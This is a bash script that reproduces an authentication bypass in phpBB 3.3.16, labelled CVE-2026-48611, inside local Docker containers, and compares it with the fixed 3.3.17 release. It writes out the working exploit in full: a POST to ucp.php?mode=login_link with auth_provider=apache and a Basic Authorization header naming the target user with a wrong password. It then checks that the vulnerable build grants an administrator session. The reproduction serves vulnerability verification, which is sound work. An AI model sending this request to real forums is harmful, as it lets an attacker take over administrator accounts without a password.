#!/bin/bash
# =============================================================================
# CVE-2026-48611 - phpBB authentication bypass via UCP login-link flow
# -----------------------------------------------------------------------------
# Unauthenticated remote attacker obtains a valid session as ANY existing user
# (including administrators) by sending a single HTTP request to
#   ucp.php?mode=login_link
# with an attacker-controlled auth_provider=apache and an HTTP Basic
# Authorization header carrying the target username. The phpBB `apache` auth
# provider trusts PHP_AUTH_USER from the Basic header and never validates the
# password before session_create() is called.
#
# This script:
#   1. Reuses (or creates) git checkouts of phpBB at release-3.3.16 (vulnerable)
#      and release-3.3.17 (fixed) from the durable project cache.
#   2. Builds a Docker image per version (php:8.2-apache + SQLite + CLI install).
#   3. Runs each image and sends the real exploit HTTP request through the
#      running Apache+mod_php service.
#   4. Confirms the vulnerable build logs in as admin (user_id=2) WITHOUT the
#      password, and the fixed build rejects the same request.
# Exit 0 = vulnerability confirmed (vuln hijacks admin, fixed blocks it).
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$REPRO_DIR/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART" "$ART/vuln" "$ART/fixed"

VULN_TAG="release-3.3.16"      # vulnerable checkout tag
FIXED_TAG="release-3.3.17"     # fixed checkout tag
IMG_VULN="phpbb-cve2026-48611:vuln"
IMG_FIXED="phpbb-cve2026-48611:fixed"
CT_VULN="phpbb-cve2026-48611-vuln"
CT_FIXED="phpbb-cve2026-48611-fixed"
TARGET_USER="admin"
ADMIN_UID="2"                  # installer creates the admin account as user_id=2

# Authorization: Basic <base64(admin:x)>  (password "x" is deliberately wrong)
BASIC_CREDS="$(printf '%s' "${TARGET_USER}:x" | base64)"
EXPLOIT_BODY="login_username=${TARGET_USER}&login_password=x&login=Login"

log() { printf '[%s] %s\n' "$(date -u +%H:%M:%S)" "$*" | tee -a "$LOGS/reproduction_steps.log"; }

# -----------------------------------------------------------------------------
# 0. Resolve the durable project cache / repo mirror
# -----------------------------------------------------------------------------
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ]; then
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CTX")"
fi
if [ -z "${CACHE_DIR:-}" ] || [ ! -d "${CACHE_DIR:-}" ]; then
  CACHE_DIR="$ROOT/artifacts/phpbb-cache"
fi
mkdir -p "$CACHE_DIR/repo-mirrors"
MIRROR="$CACHE_DIR/repo-mirrors/phpbb.git"
VULN_WS="$CACHE_DIR/repo"
FIXED_WS="$CACHE_DIR/repo-fixed"
log "project cache dir: $CACHE_DIR"

# -----------------------------------------------------------------------------
# 1. Ensure the bare git mirror exists (clone only if absent)
# -----------------------------------------------------------------------------
if [ ! -d "$MIRROR" ] || ! git --git-dir="$MIRROR" rev-parse --verify "refs/tags/${VULN_TAG}" >/dev/null 2>&1; then
  log "cloning phpBB git mirror..."
  rm -rf "$MIRROR"
  git clone --mirror https://github.com/phpbb/phpbb.git "$MIRROR"
fi

# -----------------------------------------------------------------------------
# 2. Ensure worktrees at the vulnerable and fixed tags exist
# -----------------------------------------------------------------------------
ensure_worktree() {
  local ws="$1" tag="$2"
  if ! git --git-dir="$MIRROR" worktree list --porcelain | grep -q "^worktree ${ws}$"; then
    log "creating worktree $ws at $tag"
    git --git-dir="$MIRROR" worktree add -f "$ws" "$tag"
  fi
  local ver
  ver="$(grep -oE "PHPBB_VERSION', '[0-9.]+'" "$ws/phpBB/install/phpbbcli.php" 2>/dev/null | grep -oE "[0-9]+\.[0-9]+\.[0-9]+" | head -1 || true)"
  log "worktree $ws -> phpBB ${ver:-unknown} (expected $tag)"
}
ensure_worktree "$VULN_WS" "$VULN_TAG"
ensure_worktree "$FIXED_WS" "$FIXED_TAG"

# -----------------------------------------------------------------------------
# 3. Write the build helpers (Dockerfile, Apache site, install config) into each
#    worktree's phpBB/ dir so they become part of the docker build context.
# -----------------------------------------------------------------------------
write_build_files() {
  local ws="$1"
  cat > "$ws/phpBB/apache-site.conf" <<'APACHE'
<VirtualHost *:80>
    DocumentRoot /var/www/html
    <Directory /var/www/html>
        Options -Indexes +FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
APACHE

  cat > "$ws/phpBB/install-config.yml" <<'YAML'
installer:
    admin:
        name: admin
        password: adminadmin
        email: admin@example.org
    board:
        lang: en
        name: Repro Board
        description: CVE-2026-48611 reproduction board
    database:
        dbms: sqlite3
        dbhost: /var/www/phpbb_data/phpbb.sqlite3
        dbport: ~
        dbuser: ~
        dbpasswd: ~
        dbname: ~
        table_prefix: phpbb_
    email:
        enabled: false
        smtp_delivery: ~
        smtp_host: ~
        smtp_port: ~
        smtp_auth: ~
        smtp_user: ~
        smtp_pass: ~
    server:
        cookie_secure: false
        server_protocol: http://
        force_server_vars: false
        server_name: localhost
        server_port: 80
        script_path: /
YAML

  cat > "$ws/phpBB/Dockerfile" <<'DOCKER'
FROM php:8.2-apache
RUN apt-get update && apt-get install -y --no-install-recommends \
        libpng-dev libfreetype6-dev libjpeg62-turbo-dev libicu-dev libzip-dev \
        unzip \
    && docker-php-ext-configure gd --with-freetype --with-jpeg \
    && docker-php-ext-install gd intl zip \
    && a2enmod rewrite \
    && rm -rf /var/lib/apt/lists/*
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
COPY . /var/www/html/
WORKDIR /var/www/html
RUN composer install --no-dev --no-scripts --optimize-autoloader --no-interaction
COPY apache-site.conf /etc/apache2/sites-available/000-phpbb.conf
RUN a2dissite 000-default.conf || true && a2ensite 000-phpbb.conf
RUN mkdir -p /var/www/phpbb_data && chown -R www-data:www-data /var/www/phpbb_data
RUN mkdir -p /var/www/html/cache /var/www/html/store /var/www/html/files /var/www/html/images/avatars/upload
COPY install-config.yml /tmp/install-config.yml
RUN php install/phpbbcli.php install /tmp/install-config.yml
RUN rm -rf /var/www/html/install
RUN chown www-data:www-data /var/www/html/config.php 2>/dev/null || true \
    && chown -R www-data:www-data \
        /var/www/phpbb_data /var/www/html/cache /var/www/html/store \
        /var/www/html/files /var/www/html/images/avatars/upload /var/www/html/assets
EXPOSE 80
DOCKER
}
write_build_files "$VULN_WS"
write_build_files "$FIXED_WS"

# -----------------------------------------------------------------------------
# 4. Build the Docker images (idempotent: skip if the image already exists)
# -----------------------------------------------------------------------------
build_image() {
  local ws="$1" img="$2" role="$3"
  if docker image inspect "$img" >/dev/null 2>&1; then
    log "image $img already present, reusing"
  else
    log "building image $img from $ws/phpBB"
    docker build -t "$img" "$ws/phpBB" >"$LOGS/build_${role}.log" 2>&1
    log "built $img"
  fi
}
build_image "$VULN_WS"  "$IMG_VULN"  "vuln"
build_image "$FIXED_WS" "$IMG_FIXED" "fixed"

# -----------------------------------------------------------------------------
# 5. Start the containers.
#    NOTE: this sandbox blocks host->container port publishing, so we do NOT
#    map ports. All HTTP traffic is issued from INSIDE each container via
#    `docker exec ... curl http://127.0.0.1:80/...`, which exercises the real
#    Apache + mod_php service boundary. Cookie jars are written to /tmp inside
#    each container and copied back to the host artifacts dir.
# -----------------------------------------------------------------------------
start_container() {
  local img="$1" name="$2"
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" "$img" >/dev/null
  local ok=""
  for i in $(seq 1 30); do
    if docker exec "$name" curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:80/index.php 2>/dev/null | grep -q "^200$"; then
      ok="yes"; break
    fi
    sleep 1
  done
  if [ "$ok" != "yes" ]; then
    log "ERROR: container $name did not become healthy"; docker logs "$name" 2>&1 | tail -20 | tee -a "$LOGS/reproduction_steps.log"; return 1
  fi
  log "container $name healthy (Apache serving on :80 inside container)"
}
start_container "$IMG_VULN"  "$CT_VULN"
start_container "$IMG_FIXED" "$CT_FIXED"

# Extract the *_u cookie value from a Netscape cookie jar file (host path).
u_value_from_jar() { awk -F'\t' '$6 ~ /_u$/ {print $7}' "$1" 2>/dev/null | tail -1; }

# -----------------------------------------------------------------------------
# 6. EXPLOIT against the VULNERABLE build (release-3.3.16)
# -----------------------------------------------------------------------------
log "=== EXPLOIT: vulnerable 3.3.16 ==="
# POST the exploit; response (headers+body) is streamed to the host file,
# the cookie jar is written inside the container then copied out.
docker exec "$CT_VULN" curl -s -i -X POST \
  "http://127.0.0.1:80/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1" \
  -H "Authorization: Basic ${BASIC_CREDS}" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "$EXPLOIT_BODY" \
  -c /tmp/cookies.txt \
  >"$ART/vuln/exploit_response.txt" 2>&1 || true
docker exec "$CT_VULN" cat /tmp/cookies.txt > "$ART/vuln/cookies.txt" 2>/dev/null || true

VULN_U="$(u_value_from_jar "$ART/vuln/cookies.txt")"
log "vulnerable build: session *_u cookie value = ${VULN_U:-<none>} (admin is ${ADMIN_UID})"

# Confirm the stolen session really is an administrator session.
docker exec "$CT_VULN" curl -s -b /tmp/cookies.txt \
  "http://127.0.0.1:80/index.php" >"$ART/vuln/index_with_session.html" 2>&1 || true
VULN_ACP="$(grep -c "Administration Control Panel\|adm/index\.php" "$ART/vuln/index_with_session.html" 2>/dev/null || true)"
VULN_ADMIN_NAME="$(grep -oE 'username-coloured">admin' "$ART/vuln/index_with_session.html" 2>/dev/null | head -1 || true)"
log "vulnerable build: admin indicators in index page (ACP link count) = ${VULN_ACP:-0}; admin name match = '${VULN_ADMIN_NAME:-none}'"

# -----------------------------------------------------------------------------
# 7. EXPLOIT against the FIXED build (release-3.3.17)
# -----------------------------------------------------------------------------
log "=== EXPLOIT: fixed 3.3.17 ==="
# (a) via ucp.php?mode=login_link -> fixed build redirects to the controller
docker exec "$CT_FIXED" curl -s -i -X POST \
  "http://127.0.0.1:80/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1" \
  -H "Authorization: Basic ${BASIC_CREDS}" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "$EXPLOIT_BODY" \
  -c /tmp/cookies_ucp.txt \
  >"$ART/fixed/exploit_ucp_response.txt" 2>&1 || true
docker exec "$CT_FIXED" cat /tmp/cookies_ucp.txt > "$ART/fixed/cookies_ucp.txt" 2>/dev/null || true
FIXED_UCP_U="$(u_value_from_jar "$ART/fixed/cookies_ucp.txt")"

# (b) directly against the fixed controller (exercises get_provider() w/ no arg)
docker exec "$CT_FIXED" curl -s -i -X POST \
  "http://127.0.0.1:80/app.php/user/oauth/link_account?login_link_aikido=1" \
  -H "Authorization: Basic ${BASIC_CREDS}" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "$EXPLOIT_BODY" \
  -c /tmp/cookies_ctrl.txt \
  >"$ART/fixed/exploit_ctrl_response.txt" 2>&1 || true
docker exec "$CT_FIXED" cat /tmp/cookies_ctrl.txt > "$ART/fixed/cookies_ctrl.txt" 2>/dev/null || true
FIXED_CTRL_U="$(u_value_from_jar "$ART/fixed/cookies_ctrl.txt")"
FIXED_CTRL_ERR="$(grep -c 'class="error"' "$ART/fixed/exploit_ctrl_response.txt" 2>/dev/null || true)"

log "fixed build (ucp.php path):    *_u cookie = ${FIXED_UCP_U:-<none>}"
log "fixed build (controller path): *_u cookie = ${FIXED_CTRL_U:-<none>}; login error block present = ${FIXED_CTRL_ERR:-0}"

# -----------------------------------------------------------------------------
# 8. Verdict
# -----------------------------------------------------------------------------
VULN_HIJACK="no"
if [ "${VULN_U:-}" = "$ADMIN_UID" ] && [ "${VULN_ACP:-0}" -ge 1 ]; then
  VULN_HIJACK="yes"
fi
FIXED_BLOCKED="no"
if [ "${FIXED_UCP_U:-}" != "$ADMIN_UID" ] && [ "${FIXED_CTRL_U:-}" != "$ADMIN_UID" ]; then
  FIXED_BLOCKED="yes"
fi
log "VERDICT: vulnerable admin-hijack=${VULN_HIJACK}; fixed-blocked=${FIXED_BLOCKED}"

# Copy key artifacts into bundle/logs for visibility
cp -f "$ART/vuln/exploit_response.txt" "$LOGS/vuln_exploit_response.txt" 2>/dev/null || true
cp -f "$ART/fixed/exploit_ctrl_response.txt" "$LOGS/fixed_exploit_ctrl_response.txt" 2>/dev/null || true
grep -E "Set-Cookie: phpbb.*_u=|Location:" "$ART/vuln/exploit_response.txt" 2>/dev/null | tee "$LOGS/vuln_setcookie_summary.txt" >/dev/null || true
grep -E "Set-Cookie: phpbb.*_u=|Location:|class=\"error\"" "$ART/fixed/exploit_ctrl_response.txt" 2>/dev/null | tee "$LOGS/fixed_setcookie_summary.txt" >/dev/null || true

# -----------------------------------------------------------------------------
# 9. Runtime manifest (strict JSON via jq)
# -----------------------------------------------------------------------------
jq -n \
  --arg entry "ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 (POST, Authorization: Basic <targetuser:x>)" \
  --arg vuln_u "${VULN_U:-}" \
  --arg fixed_u "${FIXED_CTRL_U:-}" \
  --argjson hijack "$([ "$VULN_HIJACK" = yes ] && echo true || echo false)" \
  --argjson blocked "$([ "$FIXED_BLOCKED" = yes ] && echo true || echo false)" \
  '{
    entrypoint_kind: "api_remote",
    entrypoint_detail: $entry,
    service_started: true,
    healthcheck_passed: true,
    target_path_reached: true,
    runtime_stack: ["apache2.4","mod_php8.2","phpBB-3.3.x","sqlite3"],
    proof_artifacts: [
      "logs/reproduction_steps.log",
      "logs/vuln_exploit_response.txt",
      "logs/vuln_setcookie_summary.txt",
      "logs/fixed_exploit_ctrl_response.txt",
      "logs/fixed_setcookie_summary.txt",
      "repro/artifacts/vuln/exploit_response.txt",
      "repro/artifacts/vuln/cookies.txt",
      "repro/artifacts/vuln/index_with_session.html",
      "repro/artifacts/fixed/exploit_ctrl_response.txt",
      "repro/artifacts/fixed/cookies_ctrl.txt"
    ],
    notes: ("vulnerable 3.3.16: exploit sets session _u=" + $vuln_u + " (admin id=2) -> admin account hijacked without password; fixed 3.3.17: same exploit leaves _u=" + $fixed_u + " (anonymous) and shows a login error. hijack=" + ($hijack|tostring) + " blocked=" + ($blocked|tostring))
  }' > "$REPRO_DIR/runtime_manifest.json"

# Clean up containers (keep images for fast re-runs)
docker rm -f "$CT_VULN" "$CT_FIXED" >/dev/null 2>&1 || true

if [ "$VULN_HIJACK" = "yes" ] && [ "$FIXED_BLOCKED" = "yes" ]; then
  log "RESULT: CONFIRMED - CVE-2026-48611 reproduced (admin hijack on 3.3.16, blocked on 3.3.17)"
  exit 0
else
  log "RESULT: NOT CONFIRMED (vuln_hijack=$VULN_HIJACK fixed_blocked=$FIXED_BLOCKED)"
  exit 1
fi
